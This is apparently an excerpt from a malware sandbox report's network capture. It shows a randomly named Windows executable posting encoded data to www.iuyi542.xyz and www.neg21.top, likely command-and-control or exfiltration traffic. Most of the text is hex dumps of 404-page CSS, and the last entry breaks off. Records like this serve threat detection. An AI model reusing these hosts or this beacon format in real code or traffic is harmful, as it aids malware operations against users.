Nov 13, 2024 09:28:54.330450058 CET	1236	IN	Data Raw: 6c 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 69 6e 68 65 72 69 74 7d 64 6c 2c 6f 6c 2c 75 6c 7b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 31 72 65 6d 7d 6f 6c 20 6f 6c 2c 6f 6c 20 75 6c 2c 75 6c 20 6f 6c 2c 75 Data Ascii: l;line-height:inherit}dl,ol,ul{margin-top:0;margin-bottom:1rem}ol ol,ol ul,ul ol,ul ul{margin-bottom:0}dt{font-weight:700}dd{margin-bottom:.5rem;margin-left:0}blockquote{margin:0 0 1rem}dfn{font-style:italic}b,strong{font-weight:bolder}small{f
Nov 13, 2024 09:28:54.330463886 CET	212	IN	Data Raw: 6f 6d 3a 2e 35 72 65 6d 7d 62 75 74 74 6f 6e 7b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 30 7d 62 75 74 74 6f 6e 3a 66 6f 63 75 73 7b 6f 75 74 6c 69 6e 65 3a 31 70 78 20 64 6f 74 74 65 64 3b 6f 75 74 6c 69 6e 65 3a 35 70 78 20 61 75 74 6f 20 2d Data Ascii: om:.5rem}button{border-radius:0}button:focus{outline:1px dotted;outline:5px auto -webkit-focus-ring-color}button,input,optgroup,select,textarea{margin:0;font-family:inherit;font-size:inherit;line-height:inherit}b
Nov 13, 2024 09:28:54.330952883 CET	1236	IN	Data Raw: 75 74 74 6f 6e 2c 69 6e 70 75 74 7b 6f 76 65 72 66 6c 6f 77 3a 76 69 73 69 62 6c 65 7d 62 75 74 74 6f 6e 2c 73 65 6c 65 63 74 7b 74 65 78 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 6e 6f 6e 65 7d 5b 74 79 70 65 3d 72 65 73 65 74 5d 2c 5b 74 79 70 65 3d Data Ascii: utton,input{overflow:visible}button,select{text-transform:none}[type=reset],[type=submit],button,html [type=button]{-webkit-appearance:button}[type=button]::-moz-focus-inner,[type=reset]::-moz-focus-inner,[type=submit]::-moz-focus-inner,button
Nov 13, 2024 09:28:54.335066080 CET	1236	IN	Data Raw: 62 6f 74 74 6f 6d 3a 2e 35 72 65 6d 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 69 6e 68 65 72 69 74 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 35 30 30 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 32 3b 63 6f 6c 6f 72 3a 69 6e 68 65 72 69 74 7d 2e 68 31 Data Ascii: bottom:.5rem;font-family:inherit;font-weight:500;line-height:1.2;color:inherit}.h1,h1{font-size:2.5rem}.h2,h2{font-size:2rem}.h3,h3{font-size:1.75rem}.h4,h4{font-size:1.5rem}.h5,h5{font-size:1.25rem}.h6,h6{font-size:1rem}.lead{font-size:1.25re

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.4	59116	38.47.237.27	80	2800	C:\Program Files (x86)\ZDzKImrlLPMvodDPvxjyrMHEPJpKdxrInEIKHbnDvOJTkJNHLcVIsvibgfltVMSGrNa\BLUymyzgBTyhbo.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 09:28:56.243518114 CET	10885	OUT	POST /cymd/ HTTP/1.1 Host: www.iuyi542.xyz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Origin: http://www.iuyi542.xyz Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Content-Length: 10299 Referer: http://www.iuyi542.xyz/cymd/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A1040 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36 Data Raw: 72 50 3d 66 53 35 35 43 43 33 45 68 38 76 66 36 78 2f 78 6a 79 61 37 50 42 76 69 58 42 56 54 78 57 51 67 54 46 34 44 66 77 30 72 45 73 62 74 65 72 50 70 4c 33 66 45 4a 59 43 74 52 67 67 42 30 67 70 54 54 5a 46 75 38 6b 64 49 4b 31 6d 4e 44 56 73 7a 51 62 55 65 33 6b 79 6b 54 50 51 43 63 4e 73 4d 47 52 77 73 55 6c 44 66 72 57 34 68 41 6d 37 79 55 7a 62 43 6b 33 44 39 52 4f 4d 73 45 45 5a 49 39 6e 65 30 33 55 30 30 45 68 33 59 45 67 69 4f 46 45 57 57 32 7a 32 6c 70 45 6a 61 38 6b 31 48 55 66 4c 63 55 4a 73 44 50 34 50 32 71 54 44 61 54 31 35 44 66 68 4b 49 37 31 2b 2b 31 37 69 79 35 50 30 6f 72 39 50 45 4a 53 76 42 43 63 37 39 51 36 47 4e 4d 49 49 64 43 7a 73 41 77 34 67 4e 68 7a 57 62 6b 37 4d 53 71 4b 31 4d 2f 4f 70 30 5a 49 67 6d 45 6e 38 4c 37 6b 37 79 49 33 69 5a 65 45 59 61 4f 51 30 33 32 43 2f 70 65 32 4b 46 30 56 30 76 6b 6b 2b 35 37 51 49 66 39 7a 7a 54 7a 36 56 63 51 78 78 2f 4b 35 52 77 73 39 47 34 4d 41 6f 49 2b 65 48 6a 56 71 30 31 4a 36 42 73 4d 50 64 46 64 73 6c 75 41 41 38 76 73 54 53 [TRUNCATED] Data Ascii: rP=fS55CC3Eh8vf6x/xjya7PBviXBVTxWQgTF4Dfw0rEsbterPpL3fEJYCtRggB0gpTTZFu8kdIK1mNDVszQbUe3kykTPQCcNsMGRwsUlDfrW4hAm7yUzbCk3D9ROMsEEZI9ne03U00Eh3YEgiOFEWW2z2lpEja8k1HUfLcUJsDP4P2qTDaT15DfhKI71++17iy5P0or9PEJSvBCc79Q6GNMIIdCzsAw4gNhzWbk7MSqK1M/Op0ZIgmEn8L7k7yI3iZeEYaOQ032C/pe2KF0V0vkk+57QIf9zzTz6VcQxx/K5Rws9G4MAoI+eHjVq01J6BsMPdFdsluAA8vsTSbR59qYAu7ccj09Q1d/ZTySX4PazeTwUID0jXwThWDUvluDjYBjDX90i+xfeYlQrdmTX3cpjl+uH5GWhDiDTzQb97aX1Pc8oryggoALLRUk1cPt8cIPsluHKQpH9DBhvS/or+Rj2UN2hli4slZYV/DJe9clAjsHN+nd79fSNPB9P5MEaGAX3x1fIwceYsBZdSOdNo2yhVk8X0hV4wCsS9QzUipEdHEhuU5eH0xeTk7tywHmPrwNEhRvYrs64UyDUMDOMohLQ7hnvCMbk3PPYwRDSHULEnXj6/orVnKp1q72dQRidMy13Cnci7ndOYNwRJFTlgM8Vrgahfmax8wreNaOZ71kbpJnlwqoAN81XynrrE14Mh3/uZpkIg2VfoBDh0oRoSUSF5keNgtr3RhO7LGxWv4FgTHeR3wwDTPIoJ2zrvTLmR+stxHtkVK0OuTDLE6xDdElQ/lQZaept/DWXOsS9iUsXKwWZa7zV01TJcAoV0gDNbWEo2dDOZA7DDG/oojEOV3LylD4pgVvidyW6ExkRnezi+4WYMj7f4CZ6Ey/B+2TJCKkMvyV3YrjFuFg1Ac2f9C2ya4kAwGe7CqjOPVLE69euVsXJ5UZFzzaICrHoeyCEwf1VNb5xJPg5QEKdW7tJWghNaLE3AXnNFwZ3CJAsoQCrPfjVfR/ [TRUNCATED]
Nov 13, 2024 09:28:56.905841112 CET	170	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 13 Nov 2024 08:28:56 GMT Content-Type: text/html Content-Length: 167433 Connection: close ETag: "652641ca-28e09"
Nov 13, 2024 09:28:56.905881882 CET	1236	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 43 6f 64 65 50 65 6e 20 2d 20 34 30 34 20 50 61 67 65 3c Data Ascii: <html lang="en"><head> <meta charset="UTF-8"> <title>CodePen - 404 Page</title> <meta name="viewport" content="width=device-width, initial-scale=1"> <style>button,hr,input{overflow:visible}audio,canvas,progress,video{dis
Nov 13, 2024 09:28:56.905920029 CET	212	IN	Data Raw: 6e 65 2d 68 65 69 67 68 74 3a 31 2e 31 35 3b 6d 61 72 67 69 6e 3a 30 7d 62 75 74 74 6f 6e 2c 69 6e 70 75 74 7b 7d 62 75 74 74 6f 6e 2c 73 65 6c 65 63 74 7b 74 65 78 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 6e 6f 6e 65 7d 5b 74 79 70 65 3d 73 75 62 6d Data Ascii: ne-height:1.15;margin:0}button,input{}button,select{text-transform:none}[type=submit], [type=reset],button,html [type=button]{-webkit-appearance:button}[type=button]::-moz-focus-inner,[type=reset]::-moz-focus-inn
Nov 13, 2024 09:28:56.905993938 CET	1236	IN	Data Raw: 65 72 2c 5b 74 79 70 65 3d 73 75 62 6d 69 74 5d 3a 3a 2d 6d 6f 7a 2d 66 6f 63 75 73 2d 69 6e 6e 65 72 2c 62 75 74 74 6f 6e 3a 3a 2d 6d 6f 7a 2d 66 6f 63 75 73 2d 69 6e 6e 65 72 7b 62 6f 72 64 65 72 2d 73 74 79 6c 65 3a 6e 6f 6e 65 3b 70 61 64 64 Data Ascii: er,[type=submit]::-moz-focus-inner,button::-moz-focus-inner{border-style:none;padding:0}[type=button]:-moz-focusring,[type=reset]:-moz-focusring,[type=submit]:-moz-focusring,button:-moz-focusring{outline:ButtonText dotted 1px}fieldset{border:1
Nov 13, 2024 09:28:56.906011105 CET	212	IN	Data Raw: 3b 2d 2d 6f 72 61 6e 67 65 3a 23 66 64 37 65 31 34 3b 2d 2d 79 65 6c 6c 6f 77 3a 23 66 66 63 31 30 37 3b 2d 2d 67 72 65 65 6e 3a 23 32 38 61 37 34 35 3b 2d 2d 74 65 61 6c 3a 23 32 30 63 39 39 37 3b 2d 2d 63 79 61 6e 3a 23 31 37 61 32 62 38 3b 2d Data Ascii: ;--orange:#fd7e14;--yellow:#ffc107;--green:#28a745;--teal:#20c997;--cyan:#17a2b8;--white:#fff;--gray:#6c757d;--gray-dark:#343a40;--primary:#007bff;--secondary:#6c757d;--success:#28a745;--info:#17a2b8;--warning:#f
Nov 13, 2024 09:28:56.906162024 CET	1236	IN	Data Raw: 66 63 31 30 37 3b 2d 2d 64 61 6e 67 65 72 3a 23 64 63 33 35 34 35 3b 2d 2d 6c 69 67 68 74 3a 23 66 38 66 39 66 61 3b 2d 2d 64 61 72 6b 3a 23 33 34 33 61 34 30 3b 2d 2d 62 72 65 61 6b 70 6f 69 6e 74 2d 78 73 3a 30 3b 2d 2d 62 72 65 61 6b 70 6f 69 Data Ascii: fc107;--danger:#dc3545;--light:#f8f9fa;--dark:#343a40;--breakpoint-xs:0;--breakpoint-sm:576px;--breakpoint-md:768px;--breakpoint-lg:992px;--breakpoint-xl:1200px;--font-family-sans-serif:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,"Helve
Nov 13, 2024 09:28:56.906215906 CET	212	IN	Data Raw: 65 6d 7d 61 62 62 72 5b 64 61 74 61 2d 6f 72 69 67 69 6e 61 6c 2d 74 69 74 6c 65 5d 2c 61 62 62 72 5b 74 69 74 6c 65 5d 7b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 75 6e 64 65 72 6c 69 6e 65 3b 2d 77 65 62 6b 69 74 2d 74 65 78 74 2d 64 65 Data Ascii: em}abbr[data-original-title],abbr[title]{text-decoration:underline;-webkit-text-decoration:underline dotted;text-decoration:underline dotted;cursor:help;border-bottom:0}address{margin-bottom:1rem;font-style:norma
Nov 13, 2024 09:28:56.906346083 CET	1236	IN	Data Raw: 6c 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 69 6e 68 65 72 69 74 7d 64 6c 2c 6f 6c 2c 75 6c 7b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 31 72 65 6d 7d 6f 6c 20 6f 6c 2c 6f 6c 20 75 6c 2c 75 6c 20 6f 6c 2c 75 Data Ascii: l;line-height:inherit}dl,ol,ul{margin-top:0;margin-bottom:1rem}ol ol,ol ul,ul ol,ul ul{margin-bottom:0}dt{font-weight:700}dd{margin-bottom:.5rem;margin-left:0}blockquote{margin:0 0 1rem}dfn{font-style:italic}b,strong{font-weight:bolder}small{f
Nov 13, 2024 09:28:56.906404018 CET	212	IN	Data Raw: 6f 6d 3a 2e 35 72 65 6d 7d 62 75 74 74 6f 6e 7b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 30 7d 62 75 74 74 6f 6e 3a 66 6f 63 75 73 7b 6f 75 74 6c 69 6e 65 3a 31 70 78 20 64 6f 74 74 65 64 3b 6f 75 74 6c 69 6e 65 3a 35 70 78 20 61 75 74 6f 20 2d Data Ascii: om:.5rem}button{border-radius:0}button:focus{outline:1px dotted;outline:5px auto -webkit-focus-ring-color}button,input,optgroup,select,textarea{margin:0;font-family:inherit;font-size:inherit;line-height:inherit}b
Nov 13, 2024 09:28:56.906419039 CET	1236	IN	Data Raw: 75 74 74 6f 6e 2c 69 6e 70 75 74 7b 6f 76 65 72 66 6c 6f 77 3a 76 69 73 69 62 6c 65 7d 62 75 74 74 6f 6e 2c 73 65 6c 65 63 74 7b 74 65 78 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 6e 6f 6e 65 7d 5b 74 79 70 65 3d 72 65 73 65 74 5d 2c 5b 74 79 70 65 3d Data Ascii: utton,input{overflow:visible}button,select{text-transform:none}[type=reset],[type=submit],button,html [type=button]{-webkit-appearance:button}[type=button]::-moz-focus-inner,[type=reset]::-moz-focus-inner,[type=submit]::-moz-focus-inner,button
Nov 13, 2024 09:28:56.910883904 CET	1236	IN	Data Raw: 62 6f 74 74 6f 6d 3a 2e 35 72 65 6d 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 69 6e 68 65 72 69 74 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 35 30 30 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 32 3b 63 6f 6c 6f 72 3a 69 6e 68 65 72 69 74 7d 2e 68 31 Data Ascii: bottom:.5rem;font-family:inherit;font-weight:500;line-height:1.2;color:inherit}.h1,h1{font-size:2.5rem}.h2,h2{font-size:2rem}.h3,h3{font-size:1.75rem}.h4,h4{font-size:1.5rem}.h5,h5{font-size:1.25rem}.h6,h6{font-size:1rem}.lead{font-size:1.25re

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.4	59117	38.47.237.27	80	2800	C:\Program Files (x86)\ZDzKImrlLPMvodDPvxjyrMHEPJpKdxrInEIKHbnDvOJTkJNHLcVIsvibgfltVMSGrNa\BLUymyzgBTyhbo.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 09:28:58.799527884 CET	525	OUT	GET /cymd/?2p2h=vzYT2lDhJTZ0Ql&rP=SQRZB1HP1/e+i1vXk12pUULDRytIn3wFTHYuRC8KH5mDKLD+AhmaNIKBelYQ6UpcdOsF2Uw9L0OACGIyKZ1sjmu2WbkhaOw9WSlER16P5D40fVfxJRSv6AQ= HTTP/1.1 Host: www.iuyi542.xyz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Connection: close User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A1040 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36
Nov 13, 2024 09:28:59.451735020 CET	170	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 13 Nov 2024 08:28:59 GMT Content-Type: text/html Content-Length: 167433 Connection: close ETag: "652641ca-28e09"
Nov 13, 2024 09:28:59.451761961 CET	1236	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 43 6f 64 65 50 65 6e 20 2d 20 34 30 34 20 50 61 67 65 3c Data Ascii: <html lang="en"><head> <meta charset="UTF-8"> <title>CodePen - 404 Page</title> <meta name="viewport" content="width=device-width, initial-scale=1"> <style>button,hr,input{overflow:visible}audio,canvas,progress,video{dis
Nov 13, 2024 09:28:59.451769114 CET	212	IN	Data Raw: 6e 65 2d 68 65 69 67 68 74 3a 31 2e 31 35 3b 6d 61 72 67 69 6e 3a 30 7d 62 75 74 74 6f 6e 2c 69 6e 70 75 74 7b 7d 62 75 74 74 6f 6e 2c 73 65 6c 65 63 74 7b 74 65 78 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 6e 6f 6e 65 7d 5b 74 79 70 65 3d 73 75 62 6d Data Ascii: ne-height:1.15;margin:0}button,input{}button,select{text-transform:none}[type=submit], [type=reset],button,html [type=button]{-webkit-appearance:button}[type=button]::-moz-focus-inner,[type=reset]::-moz-focus-inn
Nov 13, 2024 09:28:59.451781034 CET	1236	IN	Data Raw: 65 72 2c 5b 74 79 70 65 3d 73 75 62 6d 69 74 5d 3a 3a 2d 6d 6f 7a 2d 66 6f 63 75 73 2d 69 6e 6e 65 72 2c 62 75 74 74 6f 6e 3a 3a 2d 6d 6f 7a 2d 66 6f 63 75 73 2d 69 6e 6e 65 72 7b 62 6f 72 64 65 72 2d 73 74 79 6c 65 3a 6e 6f 6e 65 3b 70 61 64 64 Data Ascii: er,[type=submit]::-moz-focus-inner,button::-moz-focus-inner{border-style:none;padding:0}[type=button]:-moz-focusring,[type=reset]:-moz-focusring,[type=submit]:-moz-focusring,button:-moz-focusring{outline:ButtonText dotted 1px}fieldset{border:1
Nov 13, 2024 09:28:59.451860905 CET	212	IN	Data Raw: 3b 2d 2d 6f 72 61 6e 67 65 3a 23 66 64 37 65 31 34 3b 2d 2d 79 65 6c 6c 6f 77 3a 23 66 66 63 31 30 37 3b 2d 2d 67 72 65 65 6e 3a 23 32 38 61 37 34 35 3b 2d 2d 74 65 61 6c 3a 23 32 30 63 39 39 37 3b 2d 2d 63 79 61 6e 3a 23 31 37 61 32 62 38 3b 2d Data Ascii: ;--orange:#fd7e14;--yellow:#ffc107;--green:#28a745;--teal:#20c997;--cyan:#17a2b8;--white:#fff;--gray:#6c757d;--gray-dark:#343a40;--primary:#007bff;--secondary:#6c757d;--success:#28a745;--info:#17a2b8;--warning:#f
Nov 13, 2024 09:28:59.451867104 CET	1236	IN	Data Raw: 66 63 31 30 37 3b 2d 2d 64 61 6e 67 65 72 3a 23 64 63 33 35 34 35 3b 2d 2d 6c 69 67 68 74 3a 23 66 38 66 39 66 61 3b 2d 2d 64 61 72 6b 3a 23 33 34 33 61 34 30 3b 2d 2d 62 72 65 61 6b 70 6f 69 6e 74 2d 78 73 3a 30 3b 2d 2d 62 72 65 61 6b 70 6f 69 Data Ascii: fc107;--danger:#dc3545;--light:#f8f9fa;--dark:#343a40;--breakpoint-xs:0;--breakpoint-sm:576px;--breakpoint-md:768px;--breakpoint-lg:992px;--breakpoint-xl:1200px;--font-family-sans-serif:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,"Helve
Nov 13, 2024 09:28:59.451941967 CET	212	IN	Data Raw: 65 6d 7d 61 62 62 72 5b 64 61 74 61 2d 6f 72 69 67 69 6e 61 6c 2d 74 69 74 6c 65 5d 2c 61 62 62 72 5b 74 69 74 6c 65 5d 7b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 75 6e 64 65 72 6c 69 6e 65 3b 2d 77 65 62 6b 69 74 2d 74 65 78 74 2d 64 65 Data Ascii: em}abbr[data-original-title],abbr[title]{text-decoration:underline;-webkit-text-decoration:underline dotted;text-decoration:underline dotted;cursor:help;border-bottom:0}address{margin-bottom:1rem;font-style:norma
Nov 13, 2024 09:28:59.451961040 CET	1236	IN	Data Raw: 6c 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 69 6e 68 65 72 69 74 7d 64 6c 2c 6f 6c 2c 75 6c 7b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 31 72 65 6d 7d 6f 6c 20 6f 6c 2c 6f 6c 20 75 6c 2c 75 6c 20 6f 6c 2c 75 Data Ascii: l;line-height:inherit}dl,ol,ul{margin-top:0;margin-bottom:1rem}ol ol,ol ul,ul ol,ul ul{margin-bottom:0}dt{font-weight:700}dd{margin-bottom:.5rem;margin-left:0}blockquote{margin:0 0 1rem}dfn{font-style:italic}b,strong{font-weight:bolder}small{f
Nov 13, 2024 09:28:59.451972961 CET	212	IN	Data Raw: 6f 6d 3a 2e 35 72 65 6d 7d 62 75 74 74 6f 6e 7b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 30 7d 62 75 74 74 6f 6e 3a 66 6f 63 75 73 7b 6f 75 74 6c 69 6e 65 3a 31 70 78 20 64 6f 74 74 65 64 3b 6f 75 74 6c 69 6e 65 3a 35 70 78 20 61 75 74 6f 20 2d Data Ascii: om:.5rem}button{border-radius:0}button:focus{outline:1px dotted;outline:5px auto -webkit-focus-ring-color}button,input,optgroup,select,textarea{margin:0;font-family:inherit;font-size:inherit;line-height:inherit}b
Nov 13, 2024 09:28:59.452073097 CET	1236	IN	Data Raw: 75 74 74 6f 6e 2c 69 6e 70 75 74 7b 6f 76 65 72 66 6c 6f 77 3a 76 69 73 69 62 6c 65 7d 62 75 74 74 6f 6e 2c 73 65 6c 65 63 74 7b 74 65 78 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 6e 6f 6e 65 7d 5b 74 79 70 65 3d 72 65 73 65 74 5d 2c 5b 74 79 70 65 3d Data Ascii: utton,input{overflow:visible}button,select{text-transform:none}[type=reset],[type=submit],button,html [type=button]{-webkit-appearance:button}[type=button]::-moz-focus-inner,[type=reset]::-moz-focus-inner,[type=submit]::-moz-focus-inner,button
Nov 13, 2024 09:28:59.457120895 CET	1236	IN	Data Raw: 62 6f 74 74 6f 6d 3a 2e 35 72 65 6d 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 69 6e 68 65 72 69 74 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 35 30 30 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 32 3b 63 6f 6c 6f 72 3a 69 6e 68 65 72 69 74 7d 2e 68 31 Data Ascii: bottom:.5rem;font-family:inherit;font-weight:500;line-height:1.2;color:inherit}.h1,h1{font-size:2.5rem}.h2,h2{font-size:2rem}.h3,h3{font-size:1.75rem}.h4,h4{font-size:1.5rem}.h5,h5{font-size:1.25rem}.h6,h6{font-size:1rem}.lead{font-size:1.25re

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.4	59118	206.119.81.36	80	2800	C:\Program Files (x86)\ZDzKImrlLPMvodDPvxjyrMHEPJpKdxrInEIKHbnDvOJTkJNHLcVIsvibgfltVMSGrNa\BLUymyzgBTyhbo.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 09:29:05.187763929 CET	777	OUT	POST /1i1f/ HTTP/1.1 Host: www.neg21.top Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Origin: http://www.neg21.top Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Content-Length: 199 Referer: http://www.neg21.top/1i1f/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A1040 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36 Data Raw: 72 50 3d 51 53 77 36 67 52 37 30 45 69 77 31 77 46 58 62 62 33 78 4d 50 45 58 33 39 58 48 57 37 2f 79 76 34 69 7a 58 32 56 61 53 38 45 34 61 63 2f 67 4d 32 4b 72 30 77 6c 50 38 55 31 4a 32 57 2b 63 61 56 4c 76 71 4c 35 47 46 32 4d 6b 47 31 42 4d 6b 39 71 72 32 64 54 53 4b 4a 42 5a 38 78 47 37 42 5a 74 2f 38 58 75 6f 43 56 79 53 36 64 31 37 59 43 56 59 6a 73 43 42 77 6d 4a 4b 43 52 7a 4c 34 48 55 79 65 54 55 79 49 71 6e 32 66 6e 62 77 32 43 77 47 68 50 63 6b 69 6b 49 2b 32 39 47 57 4d 6a 69 39 6d 71 4e 7a 2f 31 74 5a 56 6b 54 4d 6f 59 39 62 4a 30 70 79 41 6d 37 57 63 67 45 6c 59 61 41 3d 3d Data Ascii: rP=QSw6gR70Eiw1wFXbb3xMPEX39XHW7/yv4izX2VaS8E4ac/gM2Kr0wlP8U1J2W+caVLvqL5GF2MkG1BMk9qr2dTSKJBZ8xG7BZt/8XuoCVyS6d17YCVYjsCBwmJKCRzL4HUyeTUyIqn2fnbw2CwGhPckikI+29GWMji9mqNz/1tZVkTMoY9bJ0pyAm7WcgElYaA==
Nov 13, 2024 09:29:06.128611088 CET	691	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 13 Nov 2024 08:29:05 GMT Content-Type: text/html Content-Length: 548 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.4	59119	206.119.81.36	80	2800	C:\Program Files (x86)\ZDzKImrlLPMvodDPvxjyrMHEPJpKdxrInEIKHbnDvOJTkJNHLcVIsvibgfltVMSGrNa\BLUymyzgBTyhbo.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 09:29:07.783067942 CET	797	OUT	POST /1i1f/ HTTP/1.1 Host: www.neg21.top Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Origin: http://www.neg21.top Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Content-Length: 219 Referer: http://www.neg21.top/1i1f/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A1040 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36 Data Raw: 72 50 3d 51 53 77 36 67 52 37 30 45 69 77 31 79 6d 50 62 5a 51 6c 4d 4e 6b 58 77 34 58 48 57 69 76 79 72 34 69 2f 58 32 51 36 43 38 32 63 61 63 66 51 4d 6b 62 72 30 39 46 50 38 41 6c 4a 35 59 65 63 56 56 4d 6e 59 4c 38 2b 46 32 4d 67 47 31 42 38 6b 39 5a 44 31 64 44 53 49 53 78 5a 2b 31 47 37 42 5a 74 2f 38 58 75 39 76 56 79 4b 36 65 42 2f 59 45 48 38 67 67 69 42 33 72 5a 4b 43 48 44 4c 30 48 55 7a 6b 54 56 65 75 71 6c 4f 66 6e 5a 34 32 43 6c 36 75 61 73 6c 6e 35 59 2f 45 30 6b 72 63 36 78 55 61 6e 66 66 59 36 65 31 6b 6f 31 42 79 4a 4d 36 65 6d 70 57 7a 37 38 66 6f 74 48 59 52 42 4b 6e 58 53 32 50 58 41 52 6b 53 41 69 58 42 69 55 62 55 39 32 77 3d Data Ascii: 